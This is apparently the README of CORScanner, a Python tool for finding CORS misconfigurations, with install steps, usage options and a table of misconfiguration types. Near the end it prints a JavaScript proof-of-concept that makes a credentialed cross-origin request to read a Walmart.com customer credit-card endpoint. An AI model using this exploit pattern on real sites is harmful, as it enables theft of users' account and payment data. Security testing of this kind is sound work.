Package: corscanner
About CORScannerCORScanner is a python tool designed to discover CORS misconfigurations vulnerabilities of websites. It helps website administrators and penetration testers to check whether the domains/urls they are targeting have insecure CORS policies.FeaturesFast. It usesgeventinstead of Python threads for concurrency, which is much faster for network scanning.Comprehensive. It covers allthe common types of CORS misconfigurationswe know.Flexible. It supports various self-define features (e.g. file output), which is helpful for large-scale scanning.Two useful references for understanding CORS systematically:USENIX security 18 paper:We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS中文详解：绕过浏览器SOP，跨站窃取信息：CORS配置安全漏洞报告及最佳部署实践ScreenshotsInstallationDownload this toolgit clone https://github.com/chenjj/CORScanner.gitInstall dependenciessudo pip install -r requirements.txtCORScanner depends on therequests,gevent,tldextract,coloramaandargparsepython modules.Python Version:Both Python 2 (2.7.x) and Python 3 (3.7.x) are supported.UsageShort FormLong FormDescription-u--urlURL/domain to check it's CORS policy-d--headersAdd headers to the request-i--inputURL/domain list file to check their CORS policy-t--threadsNumber of threads to use for CORS scan-o--outputSave the results to json file-v--verboseEnable the verbose mode and display results in realtime-h--helpshow the help message and exitExamplesTo check CORS misconfigurations of specific domain:python cors_scan.py -u example.comTo enable more debug info, use -vvv:python cors_scan.py -u example.com -vvvTo check CORS misconfigurations of specific URL:python cors_scan.py -u http://example.com/restapiTo check CORS misconfiguration with specific headers:python cors_scan.py -u example.com -d "Cookie: test"To check CORS misconfigurations of multiple domains/URLs:python cors_scan.py -i top_100_domains.txt -t 100To list all the basic options and switches use -h switch:python cors_scan.py -hMisconfiguration typesThis tool covers the following misconfiguration types:Misconfiguration typeDescriptionReflect_any_originBlindly reflect the Origin header value inAccess-Control-Allow-Origin headersin responses, which means any website can read its secrets by sending cross-orign requests.Prefix_matchwwww.example.comtrustsexample.com.evil.com, which is an attacker's domain.Suffix_matchwwww.example.comtrustsevilexample.com, which could be registered by an attacker.Not_escape_dotwwww.example.comtrustswwwaexample.com, which could be registered by an attacker.Substring matchwwww.example.comtrustsexample.co, which could be registered by an attacker.Trust_nullwwww.example.comtrustsnull, which can be forged by iframe sandbox scriptsHTTPS_trust_HTTPRisky trust dependency, a MITM attacker may steal HTTPS site secretsTrust_any_subdomainRisky trust dependency, a subdomain XSS may steal its secretsCustom_third_partiesCustom unsafe third parties origins likegithub.io, see more inorigins.jsonfile. Thanks@phackt!Special_characters_bypassExploiting browsers’ handling of special characters. Most can only work in Safari except_, which can also work in Chrome and Firefox. See more inAdvanced CORS Exploitation Techniques. Thanks@Malayke.Welcome to contribute more.Exploitation examplesHere is an example about how to exploit "Reflect_any_origin" misconfiguration on Walmart.com(fixed). Localhost is the malicious website in the video.Walmart.com video on Youtube:Here is the exploitation code:<script>// Send a cross origin request to the walmart.com server, when a victim visits the page.varreq=newXMLHttpRequest();req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);req.onload=stealData;req.withCredentials=true;req.send();functionstealData(){//reading response is allowed because of the CORS misconfiguration.vardata=JSON.stringify(JSON.parse(this.responseText),null,2);//display the data on the page. A real attacker can send the data to his server.output(data);}functionoutput(inp){document.body.appendChild(document.createElement('pre')).innerHTML=inp;}</script>If you have understood how the demo works, you can read Section 5 and Section 6 of theCORS paperand know how to exploit other misconfigurations.LicenseCORScanner is licensed under the MIT license. take a look at theLICENSEfor more information.CreditsThis work is inspired by the following excellent researches:James Kettle, “Exploiting CORS misconfigurations for Bitcoins and bounties”, AppSecUSA 2016*Evan Johnson, “Misconfigured CORS and why web appsec is not getting easier”,  AppSecUSA 2016*Von Jens Müller, "CORS misconfigurations on a large scale",CORStest*VersionCurrent version is 1.0